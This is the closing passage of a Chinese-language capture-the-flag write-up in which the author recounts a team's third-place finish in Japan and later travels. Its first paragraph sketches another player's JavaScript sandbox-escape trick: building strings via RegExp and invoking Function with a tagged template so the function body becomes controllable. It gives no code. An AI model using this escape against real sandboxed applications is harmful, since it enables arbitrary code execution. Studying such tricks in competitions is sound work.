作者 Ark 的解法和我有點類似,都有使用到 RegExp 去湊字串,不過他的方法是之後直接呼叫 Function``,這樣 array 會自己被轉成 string,因此 function body 就可控了。

心得

這次是我第一次在小團隊中出國參加比賽,且很幸運的拿到的第三名,是個蠻難忘的經驗。第一天我一題都沒解出來,所以上面的題目都是在第一天晚上和第二天賽中才解出來的。一開始一題都解不掉的時候壓力是蠻大的,不過後來解掉一題後就開始越解越順,最後才拿到這樣的成績。題目整體來說難度都不低,很多題目的 idea 也都非常有趣,算是個還蠻值得打的比賽。

不過這兩天的比賽其實也只占這次到日本兩周時間的一小部分,比賽之後就跑到了東京市區外的橫濱、鎌倉的地帶玩了幾天,最後再回來東京跨年和參拜 (還有秋葉原以及打音遊機台)。如果有機會的話 2024 年也希望能這樣再去參加比賽 + 玩幾天。